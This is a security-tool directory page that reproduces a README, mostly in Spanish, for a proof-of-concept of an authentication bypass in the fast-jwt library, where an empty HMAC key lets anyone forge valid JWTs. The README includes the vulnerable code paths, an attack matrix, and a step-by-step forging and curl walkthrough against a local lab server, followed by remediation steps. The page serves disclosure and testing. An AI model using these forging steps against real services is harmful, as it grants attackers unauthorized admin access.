Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-44351-poc — Proof-of-concept for CVE-2026-44351, an authentication bypass in fast-jwt <6.2.4 where an empty HMAC key lets attackers forge arbitrary JWTs accepted as valid. | Kitploit
Tools/GitHubGitHub/isaca0315/cve-2026-44351-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityCryptographyAuthenticationLearning & EducationRed TeamingAPI Security
GitHubisaca0315/cve-2026-44351-poc

CVE-2026-44351-poc

Proof-of-concept for CVE-2026-44351, an authentication bypass in fast-jwt <6.2.4 where an empty HMAC key lets attackers forge arbitrary JWTs accepted as valid.

2221 days agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
Content not available in the requested language. Showing English version.

CVE-2026-44351 — Falsificación de JWT por Secret Vacío en fast-jwt

PoC del bypass de autenticación (auth bypass) en fast-jwt (versiones anteriores a 6.2.4) que permite a cualquier atacante no autenticado falsificar JWTs arbitrarios y que sean aceptados como auténticos por la aplicación objetivo.

CVECVE-2026-44351
AdvisoryGHSA-gmvf-9v4p-v8jc
CWECWE-1391 (Validación incorrecta de claves) / CWE-287 (Autenticación incorrecta) / CWE-326 (Fuerza de cifrado inadecuada)
CVSS 3.19.1 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Vulnerablefast-jwt < 6.2.4 (verificado contra 6.2.3)
Parche[email protected] — rechaza claves HMAC vacías con FAST_JWT_INVALID_KEY

📄 Documentación técnica detallada (root cause con código real, anatomía del ataque, análisis del parche): docs/CVE-2026-44351.md

Resumen

fast-jwt permite pasar una función asíncrona como resolución de clave (key) — el patrón típico cuando se integra con un servidor JWKS:

const verify = createVerifier({
  // patron JWKS estandar documentado por la propia libreria
  key: async (decoded) => jwks[decoded.header.kid] || '',
})

Cuando el kid del token entrante no existe, ese patrón devuelve ''. fast-jwt convierte el string vacío en un Buffer de longitud cero (Buffer.alloc(0)), lo entrega a crypto.createSecretKey (Node lo acepta silenciosamente) y verifica la firma del token usando HMAC con clave vacía.

Como HMAC-SHA256(key='', input='<header>.<payload>') es computable por cualquiera, el atacante no necesita conocer el secreto real: forja un token con los claims que quiera (sub, admin, roles, scopes, iss, aud, …) y el verificador lo devuelve como auténtico.

Solo afecta a la ruta de resolución de clave asíncrona (función). La configuración síncrona key: '' es rechazada correctamente porque createVerifier cortocircuita sobre valores falsy.

Detalle técnico del fallo

El fallo vive en src/verifier.js. En el flujo del async key resolver:

getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
  // ...
  if (typeof currentKey === 'string') {
    currentKey = Buffer.from(currentKey, 'utf-8')  // ''  ->  Buffer.alloc(0)
  }

  const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
  // rama !publicKeyPemMatch && !X509  ->  hsAlgorithms = ['HS256','HS384','HS512']

  if (validationContext.allowedAlgorithms.length) {
    checkAreCompatibleAlgorithms(...)
  } else {
    validationContext.allowedAlgorithms = availableAlgorithms // se asigna la familia HMAC
  }

  currentKey = prepareKeyOrSecret(currentKey, /* isSecret */ true)
  // -> createSecretKey(Buffer.alloc(0))  (sin control de longitud)
  verifyToken(currentKey, decoded, validationContext)
})

Y la firma se valida con src/crypto.js:

if (type === 'HS') {
  try {
    return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
  } catch { return false }
}

crypto.createHmac('sha256', Buffer.alloc(0)) funciona, el HMAC del input es computable por el atacante y el token forjado es aceptado.

Matriz de ataque (verificada con [email protected])

Resolver shapealgorithmsHS256HS384HS512
async () => ''(default)✅ acepta✅ acepta✅ acepta
(d, cb) => cb(null, '')(default)✅ acepta✅ acepta✅ acepta
async d => keys[d.header.kid] || ''(default)✅ acepta✅ acepta✅ acepta
async () => ''['HS256','HS384','HS512']✅ acepta✅ acepta✅ acepta
async () => ''['HS256','RS256']✅ aceptaINVALID_ALGINVALID_ALG
async () => ''['RS256']INVALID_KEYINVALID_KEYINVALID_KEY

⚔️ Paso a paso de Red Team (explotación 100% manual)

El ataque se ejecuta a mano: el único artefacto es forge.js, que fabrica el JWT firmado con clave vacía. El envío y la validación se hacen con curl.

Paso 0 — Levantar la infraestructura objetivo (Docker)

docker compose up -d --build server
curl -s http://localhost:3000/health        # {'status':'ok'} -> target listo

El Docker solo sirve para correr el target vulnerable, no para explotar. El resto del ataque es manual.

Paso 1 — Reconocimiento

Identifica un JWT real de la app (por ejemplo desde una petición autenticada) e inspecciona su header/payload sin validar la firma:

node forge.js decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6...

# header  : { "alg": "HS256", "typ": "JWT", "kid": "..." }
# payload : { "sub": "user", "iat": "...", "exp": "..." }

Puntos a validar:

  • El header expone un kid → la app resuelve claves por kid (posible JWKS).
  • Si el endpoint protegido rechaza un kid roto con 401 pero no presenta invalid algo/invalid key, el resolver probablemente haga keys[kid] || ''.

Paso 2 — Forjar el JWT (secret vacío)

node forge.js                          # token por pantalla + comando curl listo
node forge.js -o /tmp/jwt.txt          # guarda el token en archivo
node forge.js --kid forged --sub root --admin true --exp 7200
node forge.js --alg HS384 --role superadmin

El script siempre firma la cabecera {alg, typ, kid} y el payload elegidos usando HMAC-SHA* con clave vacía (secret: ""), sin conocer el secreto real de la app.

Paso 3 — Envío manual del token

Con el token copiado (o leído del archivo):

TOKEN=$(cat /tmp/jwt.txt)
curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"

Respuesta esperada si el objetivo es vulnerable:

HTTP/1.1 200 OK
{"message":"Welcome to the admin panel.","sub":"attacker","allowed":true}

Paso 4 — Validar / contrastar

CasoComandoResultado
Sin tokencurl -si http://localhost:3000/admin401 Unauthorized
Token inválidocurl -si http://localhost:3000/admin -H "Authorization: Bearer A.B.C"401 Unauthorized
Token forjadocurl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"200 OK + acceso admin

El bypass es reproducible cambiando claims y repitiendo el paso 2–3 (post-explotación: escalar a role, scopes, otro sub, etc.).


Demos de validación (opcional)

Comparación rápida entre la versión vulnerable y la parcheada:

npm run demo        # [email protected] -> token forjado ACEPTADO
npm run fixed       # [email protected] -> token forjado RECHAZADO (FAST_JWT_INVALID_KEY)

También en Docker:

docker compose up -d demo fixed-demo
docker logs cve-2026-44351-demo
docker logs cve-2026-44351-fixed

Remediación

  • Actualizar a [email protected] o superior: prepareKeyOrSecret rechaza claves HMAC de longitud cero con FAST_JWT_INVALID_KEY.
  • En el resolver asíncrono, no devolver ''/Buffer.alloc(0) como fallback: devolver undefined/null y tratar ese caso como error de resolución de clave.
  • En despliegues ya comprometidos, reiniciar los procesos o usar cache: false durante la transición: el caché de verificación (por defecto 1000 entradas / 600s TTL) puede conservar tokens forjados previamente aceptados.
  • Defensa en profundidad: aplicar la recomendación de RFC 2104 (clave HMAC con longitud ≥ tamaño de salida del hash).

Frontend (modo app real)

El servidor expone también una consola de administración (public/) para que la explotación se vea sobre una app real: login corporativo, dashboard con claims, panel de acceso admin y una vista Red Team integrada.

node server.js            # o de nuevo: docker compose up -d --build server
open http://localhost:3000

Cuentas de demo:

Download Tool